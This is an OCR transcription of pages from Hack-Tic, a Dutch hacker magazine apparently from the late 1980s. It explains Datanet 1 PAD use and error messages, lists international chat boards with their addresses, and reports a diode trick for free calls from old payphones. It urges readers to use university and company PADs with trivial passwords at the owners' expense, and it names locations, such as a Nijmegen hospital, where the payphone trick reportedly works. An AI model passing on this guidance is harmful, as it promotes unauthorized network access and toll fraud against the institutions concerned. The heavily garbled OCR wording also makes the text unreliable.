Als je voor jezelf een PAD gevonden hebt (daarover straks meer) kan de ketelgefluisen. De prompt is ¹⁰⁰. Na dit streefje kan je kiezen, dit gebeurt door "e raar" in te tikken, waar aan staat voor het raar van de computer waar je verbinding mee wilt maken. Zodra de computer aan de andere kant opent, zegt jouw PAD: "connect aan / eigen raar". Gaat er tijdens het opbouwen van de verbinding iets raar of weigert de computer je op-roep dan krijg je een foutmelding. Bekende foutmeldingen zijn o.a.

- out of order - Computer neemt niet op
- network congestion - PTT hard-wart gaat
- access barred - kan betekenen dat ze alleen bekende computers toelaten
- call not accepted - idem
- clear DTE - computer hangt op.

Al je een einde wilt maken aan de verbinding kan dat met CTRL-P

('recall') en daarna (achter het dan verschijnende streefje) 'clr'.

Als je wilt weten hoe diverse zaken op jouw PAD zijn ingesteld ('settings') tik je "PAD?". Wil je een van die settings veranderen dan tik je SET paraf, waar par staat voor de parameter die je wilt veranderen en af voor de gewenste waarde. Op THIS (020-717666) is een complete lijst met foutmeldingen en parameters krijgen. Zie over THIS ook het artikel in Tie-1.

Hoe kom ik aan een PAD?

Heel leuk dit verhaal, maar hoe kom ik nou aan een PAD?? En zijn 3 mogelijkheden. Je kan zelf een PAD kopen met een aansluiting, maar ja, je bent geen miljonaar na ook niet gek. De tweede mogelijkheid is om op een openbare PAD in te loggen. Hier mag je flink voor betalen. Wat wil je... het is van de PTT. Dat doe je dus ook niet, anders lei je de Hack-Tie niet.

Het enige wat er overblijft (het is trist) is om een PAD van een universiteit of bedrijf te gebruiken. Deze zijn bijna nooit beveiligd en als ze al beveiligd zijn, zijn de password's heel simpel (bv. PAD, PTT ofzo). Mijn geweten heeft er dan ook geen problemen mee om op kosten van een universiteit te bellen, als ze de deur openstellen en uithangborden plaatsen. Verder betreft meestal SURFNET een tamelijk rijke organisatie die universiteiten van dit soort faciliteiten voorziet.

Datanet in het buitenland

Dit ideale systeem is er natuurlijk niet alleen in ons kikkerlandje. In bijna alle landen van de wereld (met wat uitzonderingen in de 3e wereld) is dit systeem er. Daar heeft het geen Datanet 1, maar bijvoorbeeld Datanet-P (W-Duitsland), Transpac (Frankrijk) of IPSS (Engeland). Amerika heeft een aantal systemen: Tymnet, Telnet, RCA, AT&T, Autonet, Bell-South, Compuserve, Com-net, Dataln, Marknet, Ulnet, WU en FTE.

Surfnet

Surfnet is een netwerk tussen de Nederlandse universiteiten en technologische instituten. Als communicatiemiddel is gekozen voor Datanet

1. De universiteiten en instituten hebben een gewoon net, maar ze hebben ook nog een zog "memorica" een korte, herkenbare code. Om te voorkomen dat sommige studenten naar Amerika gaan zitten "netten" kun je op sommige universiteiten (SARA Aden h.v.) alleen nog maar kiezen met behulp van memorica, zodat je ze niet al te veel op kosten jaagt. Flaw hoor. Gelukkig zijn er nog genoeg mensen met een gezond gevoel voor openheid.

Ze, maar er was een discussie van je telecommunicatie-wereld bezogvoegd. En voorts heb ik van mening dat de FTT verwoest moet worden!

Taco

Hackers ontmoeten Hackers

Een geluksgeselschap van dertelingen komt dagelijks bijeen op computerterminals over de hele wereld. Terwijl gewone mensen liggen te slapen zitten zij ingespannen te tikken of oorspannen te turen naar de conversaties van anderen. Nu's en andere geïnteresseerden slijpen over en weer ongeveer de gesprekken iets laterisch. "Heb jij nog iets te vertellen?" "Ja, probeer 0062457400-4004. Daar moet vanavond wel iets te beleven zijn...".

Als bijeen de eerste automatische berichten zenden zoeken zij hun

bed op. De veldkop op 5 uur, nog net tijd om broodschappen te doen. Een verslag uit 'het net'.

Het principe

We laten onze computer verbinding maken (uiteraard met gebruik van het alom bekende modem) met een datanet 1 toegangspunt (voor dit leg datanet de artikel elders in dit blad), waarnaast we nu verbinding maken met een soort elektronische "bubbelbox" die we vanaf nu een chatboard willen noemen. Dit chat-

board accepteert alleen dataverkeer zodat we gebruik moeten maken van het toetsenbord om berichten over te sturen.

Data reizigers

De mensen die gebruik maken van deze manier van communiceren noemen zichzelf datareizigers. En reizigers zijn ze, even naar Frankrijk en Lofoten of er nog bekend zijn, even naar New York en vragen hoe laat het is of naar Peru en vragen hoe warm het is. Het kan allemaal en op een betrekkelijk eenvoudige manier. Hierdoor wordt het chatten niet alleen gebruikt om gegevens uit te wisselen maar ook om gewoon wat bij te praten met mensen aan de andere kant van de wereld die 'toevallig' dezelfde hobby hebben: computers.

Het grote voordeel van internationale chats is dat wanneer er iets gebeurt op computergebied (zoa "Hackers in dienst van Rusische spionnen") je gelijk uit het land van herkomst de gewenste informatie kunt vragen. Dit doe zonder tussenkomst van de media die alles gelijk weer overdragen.

We zullen een paar chatboards in dit artikel bespreken om je een indruk te geven van de mogelijkheden die er zijn, en je zal merken dat wanneer je vaak inlogt op zo'n board je via via steeds meer van deze nummers zult krijgen.

QSD

Een chatboard in Frankrijk, en ik mag wel zeggen het grootste dat ik

ken. Het board heeft 128 lijnen waarvan er 's avonds zeker 50 in gebruik zijn. In QSD kan je ook gebruik maken van een mailbox, zodat op tijden dat je niet aanwezig bent er toch mensen post naar je kunnen achterlaten. In QSD is er geen open chat, wat inhoudt dat je geen openbare berichten kunt verzenden. Dit heeft voordelen, vooral op zo'n groot board (128 lijnen). Het zou met een open chat een puinhoop worden.

Een van de nadelen van QSD is de soms erg lange verwerking en de niet perfecte software. De software heeft een heel slechte editor waardoor berichten meestal vervuld verzonden worden. Echter een geweldige sfeer en veel lachjes en grunks. Je hoeft geen lid te worden, maar er zijn plannen om je te laten betalen en wel 50 u\$S per maand. Alward heeft dus, vooral omdat het heden alleen de Franse gebruikers moeten betalen. De eigenaar van dit board wil de gebruikerslijst gaan uitdunnen omdat een paar weben geleiden alle lijnen in gebruik waren met als gevolg een systeemcrash.

Alles Hamburg

Een systeem met meestal zo'n 10 gebruikers waardoor het mogelijk is om een open chat te hebben. Het is echter ook mogelijk om prive-berichten te verzenden. Het systeem draait onder Unix en is ook niet schijf even snel. Heel echter een betere softwarematige afwerking dan QSD, maar heeft ook wel een last van een crash. Je hoeft geen lid te worden hoewel dit wel mogelijk is (kosten-

loos). Op dit board vindt je ook geregeld hackers en phreaks.

Uninet

Een mailbox met chatmogelijkheden. Het werd veel hiervan in dat je naast post ontvangen en verzenden ook software kunt downloaden en uploaden. Er zijn ook berichtenborden op het systeem waar naast hackgegevens ook politieke discussies te vinden zijn. Het systeem staat in Zuid-afrika waardoor veel mensen het boycotten en trecht want de meeste gebruikers houden er erg goede politieke ideeen op na. Je moet lid worden van het systeem (nog kortloos) waarna je een login en een handleiding krijgt (mits gestaan). Over het algemeen weinig chatgebruikers. Software is echter perfect en draait onder Vms.

Aline

Dit systeem bevindt zich in New York USA en ook hier zijn geregeld hackers en phreaks te vinden. Het systeem is echter alleen via de telefoon (denk aan je rekening) en via Minitel (Franse tegenhanger van Viditel) te bereiken. Het systeem heeft in tegenstelling tot de andere een opfic waardoor je laatste verzonden bericht boven het laatste antwoord van de tegenpartij komt te staan. Hierdoor krijg je geen verwarring van 'wat wil ik ook al weer tegen hem'. Het systeem heeft geen open chat maar moet eerder opgestuurd in dat niet eenvoudig met veel gebruikers.

Chat tips

Voor dat je nu gaat chatten moet je een paar dingen denken:

-Houdt je vinger kort zodat het een beetje overduidelijk blijft.

-Praat niet met teveel mensen te gelijk anders raak je de draad kwijt.

-Houdt de verschillende tijden in de verschillende landen in de gaten, op deze manier kun je 'versch' contact ten leggen.

Chat nummers

OSD	0209057048540
Alise Hamburg	020245896040004
Uninet	0655011100207
Alise	09-1-212-548-5465
(dit is een telefoonnummer!)	

Tx

Abonnement:Prack-Tic.

Een abonnement kost /J7,50 en duurt twee maanden. Daarmee kun je tot in de volgende jaren voort.

Abonnet wordt je door het geld over te maken op bankrekeningnummer 38 72.84 541 t.n.v. Rop Grootgrijp. Heb je alleen gins dan kun je het beste een girocheque opsturen naar Postbus 22975, 1100 DL Amsterdam.

Mensen die voor 1 mei rekenen krijgen gratis een sticker en een poster meegezonden.

Gratis bellen in cellen (part II)

Hack-Tic 2 publiceerde enkele weken terug een methode om vanuit het oude type kwartjestelefoon (met draaischijf) op kosten van de volgsig naar de hele wereld te bellen. Dit verhaal werd ook bekend gemaakt in diverse kranten, een tijdschrift en op de radio. De PTT werd ingelicht.

Iedereen leek zal vermoeden dat PTT-telecom niet stil heeft gezeten totdat de tracé (dus v een SOT-diode, die voor het sprekelement geplaatst wordt, zodat er voor het gesprek geen signaal wordt doorgegeven naar de centrale) geblokkeerd zou zijn.

De realiteit is echter anders, nog steeds zijn er cellen die werken. Zelfs de met naam in de Nieuwe Revu genoemde dartschool heeft van PTT-telecom nog niets te horen gekregen. PTT-telecom is weliswaar bezig met het aanpassen, maar het is vreemd dat ze die cellen die niet op de digitale centraleritien het eerste van een diode voorzien.

Het is allemaal nog een stapje erger. Wat blijft, zelfs NA de recente publicaties zijn er nog cellen geïnstalleerd waar de truc werkt. Wandel maar eens naar het St. Radboudziekenhuis in Nijmegen. Vorige week is daar het nieuwe E-gebouw geopend. Op E-10 bijvoorbeeld vindt je een oude cel, een memo-kleef en voldoende om je free-phone carrière te beginnen of voort te zetten. De memo-kleef wordt nog steeds in de Primaalconviesch verkocht. Loop maar

eens naar binnen en geniet van de reacties die je krijgt als je vraagt naar "Dat apparaat waarmee je gratis kan bellen".

PTT-telecom centrale voorlichting in Den Haag zegt dat er geen klachten zijn binnengekomen van particulieren. Uit onze informatie blijft echter het tegendeel. Centrale Voorlichting zegt ook dat ze verwachten enkele maanden nodig te hebben om alle cellen aan te passen.

PTT Arnhem mag geen mededeling doen over het aantal kwartjestelefoons, maar uit vragen die de PTT VOOR alle publicaties kreeg voorgeschoteld door medewerkers van het Veronika actualiteitsprogramma Nieuwsluis, blijkt dat het er volgens hen zo'n 50 moeten zijn.

Een aantal dat sterke twijfel oproept, het eerder genoemde Radboudziekenhuis herbergt er al een stuk of 25. De werking van de truc is ook niet beperkt gebleven tot de regio Nijmegen, er zijn ook berichten die oep duiden dat b.v. Valkenswaard en Rotterdam tot de mogelijkheden behoren. Wij, de Hack-Tic redactie, realiseren ons dat er een sterke behoefte is onder onze lezers, aan betere voorlichting waar de truc werkt. Vandaar onze oplossing, de fel-gelb 'Hier vindt u een GRATIS BEL. CEL!' sticker. Je ziet ze overal en ze zijn ook te bestellen. Kijk maar achter op deze Hack-Tic

Paul

HACKTIC

Uitgever van: Techno-Articuleren

Hèt blad voor de alternatieve techneut

Met informatie voor:

- Hackers
- Telefooncracka
- Radio's, Record Hackers
- Computer(virus) afsluiters
- Wasmachinespecialisten

en nog veel meer

Hack-Tic
Postbus 32955
1100 DL Amsterdam

Isr: 020-763956
In: 12665 onder nr
LUCK: Jaarabonnement
RDC: 32665 Hack-Tic



Een jaar lang, vijftien nummers (18 nummer) dus te koop f 37,50 moet te maken op bankrekeningnummer 16.71.44.541 o.v.v. Rijn Goudrijp, Rekening/loop f 10 de Vrijwillige Spaarbank, postrekening nr. 15046.

Lees nummer twee f 4,- en zijn te koop f 10 als goede beschikking of door overmaking op bovenstaande rekening.



BACKUP

De Hack-Tic poster, zoals die op pagina 23 staat afgebeeld, kost f0,50 + f2,- verzendkosten en is te krijgen door het geld over te maken op de Hack-Tic bankrekening n.v.v. Poster. De Gratis-Bel-Cel Sticker, met bovenstaand symbool, is op vergelijkbare manier te krijgen en kost f1,- + f1,- verzendkosten. Alle gelden naar n.v.v. Roy Oongelips overboeken.

Daar iedereen doet het niet alleen leidt op telefonaten en op deuren van geloozen, maar ze staan ook leidend op groene PTT-lusjes. Hack-Tic schijft een wedstrijd uit: wie fotografeert poster of sticker op de originele foto plaats. Deze gedachten gaan hier uit naar h.v. de Vlaamse kant van een celdeur- of licentiecontract.

Tevens, geven door leiding te weten geen prijs is stellen op eventuele copyrights, maar de Vlaamse kan wel rekenen op een overtuigende appel-ant.